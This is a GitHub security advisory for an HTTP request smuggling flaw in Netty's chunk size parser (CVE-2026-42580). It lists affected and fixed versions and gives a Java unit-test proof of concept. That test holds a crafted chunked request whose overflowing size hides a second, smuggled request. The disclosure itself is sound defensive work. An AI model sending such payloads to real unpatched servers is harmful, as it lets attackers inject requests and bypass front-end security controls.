GitHub Advisoryadvisory · Maven
GHSA-m4cv-j2px-7723 Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing
MEDIUM
Official page ↗
- Aliases
- CVE-2026-42580
- Ecosystem
- Maven
- Packages
- io.netty:netty-codec-http
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
- Weaknesses
- CWE-190, CWE-444
- Reviewed
- 2026-05-07
Affected packages
• Maven io.netty:netty-codec-http: >= 4.2.0.Alpha1, < 4.2.13.Final → fixed in 4.2.13.Final
• Maven io.netty:netty-codec-http: < 4.1.133.Final → fixed in 4.1.133.Final
Description
Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result *= 16;
result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
```java
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
```
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Related
Alias · CVE (1)
- CVE-2026-42580 Netty is an asynchronous, event-driven network application framework. vulnerability